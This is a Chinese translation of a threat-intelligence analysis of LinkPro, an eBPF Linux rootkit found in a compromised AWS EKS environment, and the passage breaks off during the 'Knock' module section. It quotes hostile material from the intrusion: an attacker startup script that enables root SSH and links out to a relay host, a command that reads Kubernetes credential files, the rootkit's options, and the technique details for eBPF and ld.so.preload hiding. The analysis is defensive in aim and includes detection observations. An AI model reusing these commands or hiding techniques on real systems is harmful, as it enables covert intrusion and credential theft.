深入解析LinkPro:eBPF高级隐蔽后门与Rootkit技术

本文详细分析了在AWS基础设施中发现的一款名为LinkPro的复杂Linux rootkit。该后门利用eBPF技术实现隐蔽通信、进程与文件隐藏,并通过“魔法包”触发激活,展示了攻击者如何结合用户态与内核态技术构建高隐蔽性持久化威胁。

LinkPro: eBPF rootkit分析

在对一起AWS托管基础设施入侵事件的数字调查中,发现了一个针对GNU/Linux系统的隐蔽后门。该后门的功能依赖于安装两个eBPF模块:一个用于隐藏自身,另一个在接收到“魔法包”后被远程激活。本文详细介绍了该rootkit的功能,并展示了在此案例中观察到的感染链,该感染链使其得以安装在AWS EKS环境的多个节点上。

引言

eBPF(扩展的伯克利包过滤器)是一项在Linux中被广泛采用的技术,因其众多的用例(可观测性、安全、网络等)以及能够在内核上下文中运行同时从用户空间进行编排的能力。威胁行为者越来越多地滥用它来创建复杂的后门,并规避传统的系统监控工具。 诸如BPFDoor、Symbiote和J-magic等恶意软件证明了eBPF在创建被动后门方面的有效性,这些后门能够监控网络流量并在收到特定的“魔法包”时激活。此外,更复杂的开源工具如ebpfkit(概念验证)和eBPFeXPLOIT,以及用Golang开发的编排器,可作为rootkit使用,其功能范围从建立秘密命令与控制通道到进程隐藏和容器规避技术。 最近在调查一个被入侵的AWS托管基础设施时,Synacktiv CSIRT确定了一个相对复杂的感染链,导致在GNU/Linux系统上安装了一个隐蔽的后门。该后门依赖于安装两个eBPF模块:一个用于隐藏自身,另一个在收到“魔法包”时被远程激活。

感染链

取证分析确定暴露在互联网上的一个存在漏洞的Jenkins服务器(CVE-2024-23897)是入侵的来源。该服务器随后成为威胁行为者转移到集成和部署管道的初始接入点,该管道托管在Amazon EKS(弹性Kubernetes服务,标准模式)的几个集群上。 从Jenkins服务器,威胁行为者在多个Kubernetes集群上部署了一个名为kvlnt/vv的恶意Docker镜像(在我们注意到后,该镜像在被Docker Hub支持人员删除之前托管在hub.docker.com上)。该Docker镜像包含一个Kali Linux基础镜像和两个附加层。

这些层将/app文件夹添加为工作目录,然后向其中添加三个文件:

  • /app/start.sh:一个bash脚本,用作Docker镜像的入口点。其目的是启动ssh服务,执行/app/app后门和/app/link程序。
    1
    2
    3
    4
    5
    
    #!/bin/bash
    sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
    /etc/init.d/ssh start
    ./app &
    ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
    
  • /app/link:一个名为vnt的开源程序,充当VPN服务器并提供代理功能。它连接到社区中继服务器vnt.wherewego.top:29872。这允许威胁行为者从任何IP地址连接到被入侵的服务器,并将其用作代理以访问基础设施上的其他服务器。在/app/start.sh脚本中指定的命令行参数如下:
    • -k ooonnn:标识中继服务器上虚拟VLAN的令牌。
    • -w mmm000:用于加密客户端之间通信的密码(AES128-GCM)。
    • -W:启用客户端和服务器之间的加密(RSA+AES256-GCM),以防止令牌泄露和中间人攻击。
    • -o 0.0.0.0/0:允许转发到所有网段。
  • /app/app:一个下载器恶意软件,用于从S3存储桶检索加密的恶意负载。联系的URL是https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png。在观察到的案例中,这是一个在内存中的vShell 4.9.3负载,通过WebSocket与其命令与控制服务器(56.155.98.37)通信。Synacktiv CSIRT将此下载器命名为vGet,因为在此案例中它与vShell有直接联系。

vShell是一个已有文档记录的后门,特别是被UNC5174使用。其源代码大约一年前已在GitHub上不可用。然而,一个较新的版本4.9.3及其(破解的)许可证可供下载,允许各种行为者使用vShell。 但是,没有关于vGet的开源发布,它是用Rust开发的并且被剥离了符号。该恶意代码在执行开始时创建一个指向/dev/null的符号链接/tmp/.del,然后下载vShell负载。vShell在执行期间,当打开终端时(在操作员请求时)会初始化HISTFILE=/tmp/.del环境变量。目的是确保命令历史不会写入文件(例如.bash_history)。因此,这两个程序之间可能存在联系,并且vGet可能是专门为直接在内存中执行vShell而开发的,不在磁盘上留下痕迹。

vGet — 从/dev/null/tmp/.del的符号链接

恢复的vGet样本几乎没有符号,除了对绝对路径中定义的Rust依赖项里用户名cosmanking的引用,例如: /Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs

关于Docker镜像,配置了以下挂载点:

  • 挂载点:/mnt
  • 源(宿主机):/
  • 目标(容器):/mnt
  • 访问:读写
  • 类型:绑定

此配置允许威胁行为者逃脱容器上下文(正在运行的镜像),以root权限访问根分区的整个文件系统。 从kvlnt/vv pod的/app/app(vGet)进程,执行了一个cat命令,目的是检索宿主机上(特别是其他pod中)可用的凭据(身份验证令牌、API密钥、证书…)。以下是该命令的简短摘录:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]

在部署此Docker镜像几周后,在几个Kubernetes节点以及生产服务器上观察到了另外两个恶意代码的执行。后者尤其受到攻击团伙出于财务动机的针对。 第一个恶意代码是一个嵌入另一个vShell后门(v4.9.3)的投放器,这次通过DNS隧道进行通信。关于该投放器,它与SNOWLIGHT不相似(SNOWLIGHT已在一些用于投放vShell的公开资料中被观察到),但目的相同。解密过程分两步进行。以下是Synacktiv CSIRT分析的样本摘录:

  • 步骤1:解密第一个shellcode,直接执行。
  • 步骤2:shellcode解密并将嵌入的ELF vShell后门加载到其内存中。 最后,最终负载(未公开记录的,Synacktiv CSIRT将其命名为LinkPro)是一个利用eBPF技术的后门,由于其隐蔽性、持久性和内部网络穿透能力,可以被称为rootkit。

LinkPro Rootkit

LinkPro针对GNU/Linux系统,使用Golang开发。Synacktiv CSIRT将其命名为LinkPro,参考了定义其主模块的符号:github.com/link-pro/link-client。GitHub账户link-pro没有公开的仓库或贡献。LinkPro使用eBPF技术仅在接收到“魔法包”时激活,并在受感染系统上隐藏自身。

LinkPro Rootkit样本

SHA256 文件类型 文件大小 威胁 观察到的文件名
d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b ELF 64-bit LSB executable, x86-64 8710464 字节 Linux Rootkit .tmpdata.ok; .tmpdata.pro; .tmp~data.resolveld
1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964 ELF 64-bit LSB executable, x86-64 8710464 字节 Linux Rootkit .tmpdata.ok; .tmpdata.pro; .tmp~data.resolveld

LinkPro嵌入四个ELF模块:一个共享库、一个内核模块和两个eBPF模块:

LinkPro嵌入式ELF程序(Malcat视图)

以下是不同的ELF模块详情。但是,内核模块从未被LinkPro使用(没有实现加载它的函数)。

LinkPro嵌入式ELF二进制文件

SHA256 类型 大小
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 共享对象 14.2 KiB
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 内核对象 573.0 KiB
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 BPF 18.8 KiB
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 BPF 35.4 KiB

配置与通信

根据其定义的配置,LinkPro可以以两种方式运行:被动或主动。其配置通过两种不同的方式获取:

  • 要么嵌入在二进制文件中,以JSON结构化,并以关键字CFG0为前缀,
  • 要么其默认参数直接硬编码在main函数中。在两种样本中都观察到此方法。 最后,命令行参数也被考虑在内,以在运行时修改默认值:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Usage of <program name>:
  -addsvc
        / systemd disguise
  -connection-mode string
        : forward  reverse (default "reverse")
  -debug string
         (default "false")
  -dns-domain string
        DNS (default "dns.example.com")
  -dns-mode string
        DNS: direct()  tunnel() (default "tunnel")
  -dns-server string
        DNS (: 8.8.8.8:53)
  -ebpf string
         eBPF  (0=,1=) (default "1")
  -hideebpf string
        hide ebpf prog/map/link in /proc (0=,1=) (default "1")
  -jitter string
        () (default "2")
  -key string
        ()
  -pid string
        pid to hide (default "-1")
  -port string
         (default "6666")
  -protocol string
        (httptcpudpdns) (default "http")
  -reverse-port string
        HTTP (default "2233")
  -rmsvc
         systemd disguise
  -server string
         (default "1.1.1.1")
  -sleep string
        () (default "10")
  -version string
         (default "1.0.0")

在调查中观察到的-addsvc参数用于激活持久化机制。 以下是LinkPro实现的配置结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
struct TailConfig // sizeof=0xD0
{
     string ServerAddress;
     string ServerPort;
     string SecretKey;
     string SleepTime;
     string JitterTime;
     string Protocol;
     string DnsDomain;
     string DNSMode;
     string DnsServer;
     string Debug;
     string Version;
     string ConnectionMode;
     string ReversePort;
};

ConnectionMode有两种可能的值:reverseforward

  • reverse连接模式对应于被动模式,后门在此模式下监听来自C2的命令。在此模式下,安装了两个eXpress Data Path和Traffic Control类型的eBPF程序,目的是仅在接收到特定TCP包时才激活C2通信通道。
  • forward连接模式对应于主动模式,后门在此模式下启动与其C2服务器的通信。在此模式下,不安装XDP/TC eBPF程序。

在受感染信息系统上识别的两个样本具有以下配置:

LinkPro TailConfig

d5b2202b 1368f3a8
被动模式 HTTP 主动模式 HTTP
ServerAddress 1.1.1.1 (未使用) 18.199.101.111
ServerPort 6666 2233
SecretKey 0 3344
SleepTime 10 10
JitterTime 2 2
Protocol http http
DnsDomain dns.example.com dns.example.com
DNSMode tunnel tunnel
DnsServer 0 0
Debug false false
Version 1.0.0 1.0.0
ConnectionMode reverse forward
ReversePort 2233 2233

DNS字段仅在通过DNS协议通信时使用。 解析配置后,LinkPro使用以下信息生成唯一的客户端ID:

1
SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )

Machine ID对应于/etc/machine-id中的值,或者(如果不存在)在/proc/sys/kernel/random/boot_id中的值。 对于forward(主动)模式,有五种可能的通信协议:

  • HTTP
  • WebSocket
  • UDP(原始)
  • TCP(原始)
  • DNS(直接/隧道)

对于reverse(被动)模式,只使用HTTP协议。提供三个URL:

  • /reverse/handshake:识别操作员的ID(server_id http请求参数)并返回状态success。
  • /reverse/heartbeat:返回客户端的信息(如果指定了request_client_info参数)并返回状态ok。
  • /reverse/operation:执行操作员的命令。

交换以JSON结构化,并使用配置中指定的SecretKey XOR密钥加密。 然后,按此顺序执行以下步骤:

  1. 安装“Hide” eBPF模块
  2. 如果“Hide”模块安装失败,或者已被禁用(-ebpf 0命令行参数):在/etc/ld.so.preload中安装共享库
  3. 如果使用reverse模式,安装“Knock” eBPF模块
  4. 安装持久化
  5. 执行C2命令
  6. 中断时,删除各个模块

被动样本d5b2202b用于说明以下描述。

LD PRELOAD 模块

LinkPro LD PRELOAD 模块样本

SHA256 文件类型 文件大小 威胁 观察到的文件名
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 ELF 64-bit LSB shared object, x86-64 14552 字节 Linux 动态链接器劫持 libld.so

LinkPro修改/etc/ld.so.preload配置文件,指定其嵌入的libld.so共享库的路径,目的是隐藏可能揭示后门存在的各种痕迹。libld.so的不同步骤如下:

  1. 在内存中保存/etc/ld.so.preload的内容
  2. 将嵌入在LinkPro二进制文件中的libld.so提取到/etc/libld.so
    • 如果需要,将/etc以读写权限挂载:mount -o remount,rw /etc
  3. 分配足够的权限,使libld.so可以被所有用户加载和执行:chmod 0755 /etc/libld.so
  4. /etc/ld.so.preload文件的内容替换为/etc/libld.so

由于/etc/ld.so.preload中存在/etc/libld.so路径,LinkPro安装的libld.so共享库会被所有需要/lib/ld-linux.so的程序加载。这包括所有使用共享库的程序,例如glibc。 一旦libld.so在程序执行时被加载(例如/usr/bin/ls),它会挂接(在glibc之前)几个libc函数,以修改可能揭示LinkPro存在的结果。以下是观察到的被挂接函数的行为:

  • fopenfopen64libld.so挂接检查进程是否尝试打开/proc/net/tcp/proc/net/tcp6/proc/net/udp/proc/net/udp6。这些文件提供有关活动TCP/UDP连接的信息。如果是,则执行真实的fopen函数。然后,恶意库检索这些文件的内容并删除LinkPro的网络痕迹。确实,任何包含源端口或目标端口2233(LinkPro的监听端口)的行都会被删除。最后,如果进程尝试打开名为ld.so.preload的文件,则返回“No Such File Or Directory”错误。 修改内容的forge_proc_net_tcp函数的伪代码 关于网络信息,netstat使用/proc/net文件来显示正在进行的连接。相比之下,ss使用netlink协议来检索此信息。因此,可以使用ss命令检测机器上监听的端口2233,如下图所示(openatfopen使用的系统调用): LinkPro内部端口检测 netstat 与 ss 此外,LinkPro进程名称未在ss命令的输出中指示(如果添加-p标志),这要归功于下面解释的getdents挂接。
  • getdentsgetdents64getdents系统调用用于列出目录中的文件。在这种情况下,libld.so执行getdents,然后检查是否存在:
    • 包含关键字.tmp~data(Linkpro后门)、libld.sosshidsld.so.preload的文件名。
    • 命令行包含关键字.tmp~data的进程目录(在/proc/下,即PID)。 如果找到,则用下一个条目覆盖dirent条目。 覆盖要隐藏文件的dirent条目 注意:符号toyincangtoyincanglib指定关键字.tmp~datalibld.so。“toyincang”可以用普通话拼音解释为“to conceal”。
  • killkill系统调用允许向进程发送信号,并将目标的PID作为参数。libld.so实现的挂接检查目标进程的命令行(/proc/<pid>/cmdline)是否存在关键字.tmp~data(Linkpro后门)。如果找到,则不执行libc的kill函数。
  • openopen64:如果进程尝试打开名为ld.so.preload的文件,则返回“No Such File Or Directory”错误。
  • readdirreaddir64libld.so挂接执行合法的readdir函数(列出目录中的文件),然后检查是否存在:
    • 包含关键字.tmp~datalibld.sosshidsld.so.preload.system(激活持久化机制后包含LinkPro的文件夹)的文件名。
    • 命令行包含关键字.tmp~data的进程目录(在/proc/下,即PID)。 如果找到,readdir挂接返回空结果。

下图展示了libld.so效果的演示。指定-ebpf 0命令行参数以显式禁用“Hide”模块,从而激活LD Preload库。 libld.so加载示例

总之,由LinkPro加载的libld.so试图从其他动态链接的程序中隐藏LinkPro后门和libld.so本身的网络痕迹(监听或目标端口)和文件系统痕迹。

“Hide” eBPF 模块

LinkPro “Hide” eBPF 模块样本

SHA256 文件类型 文件大小 威胁
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 ELF 64-bit LSB relocatable, eBPF 36224 字节 Linux eBPF Rootkit

“Hide”模块由多个Tracepoint和Kretprobe类型的eBPF程序组成。 Tracepoint类型的eBPF程序是附加到Linux内核定义的静态跟踪点的程序。它们被放置在内核代码中的特定位置,例如在系统调用、内存分配、任务调度等上。特别是,系统调用的跟踪点位于入口(tracepoint/syscalls/sys_enter_syscall)或退出(tracepoint/syscalls/sys_exit_syscall)。 Kprobes允许将eBPF程序附加到内核中的几乎任何函数(其入口点)。而Kretprobes在函数返回时触发。这允许拦截和修改系统调用的结果。 LinkPro rootkit安装这些eBPF程序,并利用它们的能力来隐藏其进程和网络活动。

“Hide”模块安装 首先,LinkPro使用ebpf-go模块将嵌入的“Hide” ELF模块解析为特定对象(CollectionSpec)。可以在内存中找到加载的Hide模块的不同eBPF对象,即maps和programs。Maps是可以在程序之间共享的数据结构。 LinkPro更新pids_to_hide_map map,包含LinkPro的当前PID(进程ID)以及命令行上指定的PID列表(-pid参数)。 LinkPro更新main_ebpf_progs map,添加LinkPro加载的eBPF程序(“Hide”和“Knock”模块)的文件描述符。 LinkPro然后创建BPF links,将eBPF程序附加到内核中的检测点。LinkPro后门加载的“Hide” eBPF模块在getdentsgetdents64系统调用上添加钩子,与libld.so共享库的目标相同,即隐藏LinkPro特定的文件。此外,钩子被放置在sys_bpf系统调用的入口和出口,以隐藏其eBPF maps和程序。以下是实现的钩子:

  • tracepoint/syscalls/sys_enter_getdents -> HandleGetdentsEnter
  • tracepoint/syscalls/sys_enter_getdents64 -> HandleGetdents64Enter
  • tracepoint/syscalls/sys_exit_getdents -> HandleGetdentsExit
  • tracepoint/syscalls/sys_exit_getdents64 -> HandleGetdents64Exit
  • tracepoint/syscalls/sys_enter_bpf -> HandleBpfEnter
  • kretprobe/sys_bpf -> HandleBpfExit

handle_getdents 附加到getdentsgetdents64跟踪点的函数行为类似于libld.sogetdents系统调用(sys_exit_getdents)的结果被拦截。eBPF程序设置过滤器以隐藏:

  • 特定文件和目录:任何包含关键字.tmp~data.system的条目。
  • 特定进程:其标识符(PID)在pids_to_hide eBPF map中列出(最多可包含10个PID)的进程目录(在/proc/下)也被隐藏。

getdents系统调用返回一个dirent结构体的链表,其中每个结构体代表一个文件或目录,并包含其名称、inode和条目大小等信息,这允许计算下一个元素的位置。与libld.sogetdents上的钩子不同,dirent条目不会被下一条记录直接覆盖。 以下是修改dirent结构体链表以隐藏名为.tmp~data.resolveld的文件的方式。 eBPF修改前 该列表是一系列记录。每个dirent通过其自身长度(d_reclen)隐式指向下一个。

1
2
3
4
dirent (文件 A)       dirent (.tmp~data.resolveld)      dirent (文件 B)
d_reclen=24           d_reclen=32                       d_reclen=24
d_name="文件 A"       d_name=".tmp~data.resolveld"      d_name="文件 B"
指向 .tmp~data.resolveld 的开头   指向 文件 B 的开头   指向结尾

d_reclen值作为示例任意给出。 eBPF修改后 eBPF程序检测到.tmp~data.resolveld。然后修改前一条记录(文件A)的长度(d_reclen),将.tmp~data.resolveld的长度加进去。

1
2
3
4
dirent (文件 A)        dirent (.tmp~data.resolveld) - 已跳过  dirent (文件 B)
d_reclen=24+32=56      d_reclen=32                          d_reclen=24
d_name="文件 A"        d_name=".tmp~data.resolveld"         d_name="文件 B"
现在指向文件 B 的开头                                       指向结尾

相同的技术在eBPFeXPLOIT项目中实现,并添加了要隐藏的文件名和目录。

handle_ebpf 实现了两个函数:HandleBpfEnter,链接到syscall/sys_enter/bpf跟踪点,和HandleBpfExit,链接到sys_bpf的Kretprobe。此处的目的是从bpftool等工具中隐藏eBPF程序的存在。观察到的代码与在EBPFeXPLOIT项目中实现的代码基本相同,除了添加了额外的检查和两次bpf_printk调用(可能用于调试)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {
    // ...
        if ((!attr_ptr) &&
            (bpf_probe_read_user(&cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0)) 
        {
            bpf_printk("BPF cmd: %d, start_id: %u", cmd, cmd_info.start_id);
            bpf_map_update_elem(&hideEbpfMap, &pid_tgid, &cmd_info, BPF_ANY);       
        }
    //...
}

int handleBpfExit(struct pt_regs *ctx) {
    // ...
                __u8 *is_main = bpf_map_lookup_elem(&main_ebpf_progs, &next_id);
                if (is_main && *is_main == 1) {
                    bpf_printk("HIDING NEXT_ID: %u", next_id);
                    bpf_override_return(ctx, -ENOENT);
                    return 0;
                }
    // ...
}

bpf_printk的输出记录在特殊文件/sys/kernel/debug/tracing/trace_pipe中。需要root权限才能读取其内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
root@malux# bpftool prog list
# ..输出...
root@malux# cat  /sys/kernel/debug/tracing/trace_pipe
         bpftool-15162   [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0
         bpftool-15162   [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52
         bpftool-15162   [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160
         bpftool-15162   [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161
        # [..等等..]
         bpftool-15162   [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175
         bpftool-15162   [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176
         bpftool-15162   [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177
         bpftool-15162   [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654

handlerBpfEnter跟踪点将BPF_PROG_GET_NEXT_IDBPF_MAP_GET_NEXT_IDBPF_LINK_GET_NEXT_ID类型的BPF命令保存在一个map中。sys_bpf系统调用执行后,触发handlerBpfExit钩子。 检索到相关命令的结构,现在包含系统调用的结果,即下一个程序、map或link的ID。 如果cmd_info.attr_pr.next_id的值等于main_ebpfs_progs map中存在的对象之一的ID,则sys_bpf的返回值被替换为-ENOENT(没有这样的文件或目录)。 相邻的图片展示了“Hide”模块加载的演示(-ebpf 1参数,默认值),从bpftool实用程序中隐藏eBPF程序: 隐藏BPF程序 注意,eBPF maps和links的FDs没有被LinkPro包含在main_ebpf_progs map中,这是一个错误:尽管程序被正确隐藏,但仍然可以列出它们的eBPF maps和links,以及与LinkPro关联的PID。 检测与LinkPro关联的eBPF links 另一个重点是,bpf_override_return辅助函数仅在Linux内核编译时启用了CONFIG_BPF_KPROBE_OVERRIDE配置选项时才可用。例如,相对较新的Amazon Linux内核或Ubuntu 24.04就是这种情况。如果所需的内核选项未启用,BPF验证器将拒绝该程序并阻止“Hide”模块加载。如果失败,则使用加载libld.so库的替代方法,作为后备解决方案以隐藏部分LinkPro的痕迹。

“Knock” eBPF 模块

LinkPro “Knock” eBPF 模块样本

SHA256 文件类型 文件大小 威胁
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 ELF 64-bit LSB relocatable, eBPF 19249 字节 Linux eBPF Rootkit

“Knock”模块包含两个由LinkPro加载的eBPF程序。 第一个称为xdp_ingress,是XDP类型。 XDP提供了一种通过eBPF程序处理网络数据包的机制。它位于处理链的非常早期,在驱动程序级别,处于经典Linux网络栈的上游。XDP eBPF程序使用返回码(例如XDP_PASSXDP_DROPXDP_REDIRECT)来确定Linux内核应对网络数据包采取的操作。 内核中XDP的网络数据包流 第二个称为tc_egress,是TC类型。 tciproute2包引入的工具,允许控制接口上的传入(ingress)和传出(egress)网络流量。可以将BPF程序附加到不同的TC控制点,例如在发送数据包之前过滤某些数据包。TC位于驱动程序和网络栈之间,即XDP的下游。XDP程序只能附加到传入流量,不能附加到传出流量,这在此上下文中证明了使用TC的合理性。 Egress (TX) 图与 TC 钩子

“Knock”模块安装 安装xdp_ingresstc_egress程序需要几个步骤。

  1. 检测用于与Internet通信的网络接口(例如eth0)。
  2. 在BPF FS中创建一个fire目录。路径:/sys/fs/bpf/fire。BPF FS是一个伪虚拟文件系统(仅驻留在内存中),允许存储BPF程序和maps,以及pinned objects(允许通过BPF FS中的伪文件保持对这些对象的引用,以确保它们的持久性)。
  3. 将“Knock”模块加载到内存中(CollectionSpec对象)。
  4. 使用LinkPro配置中reverse_port属性的值更新conf_map BPF map:在此上下文中为端口2233。
  5. 安装xdp_ingress程序:
    • 解绑已链接到网络接口的任何XDP程序:ip link set dev eth0 xdp off
    • 通过创建BPF link将xdp_ingress程序附加到网络接口。
  6. 安装tc_egress程序
    • tc_egress程序pin到/sys/fs/bpf/fire/tc_egress。这意味着它已被另一个进程(LinkPro)加载到内存中,并已被pin在BPF虚拟文件系统(bpffs)中。
    • 通过以下tc命令将tc_egress程序附加到网络接口:
      • 准备接口:tc qdisc replace dev eth0 clsact - 在eth0接口上创建或替换队列规则(qdisc)为clsact(分类器动作),为过滤器提供两个附加点,ingress(传入数据包)和egress(传出数据包)。
      • 清理传出流量上的旧过滤器:tc filter del dev eth0 egress
      • tc_egress程序附加到网络接口的egress钩子:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress
        • proto all:过滤器适用于所有协议的数据包
        • prio 1:过滤器以最高优先级执行
        • handle 1:创建的过滤器的标识符
        • bpf:表示过滤器是BPF程序
        • da(或direct-action):意味着eBPF程序的返回值(例如TC_ACT_OK
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计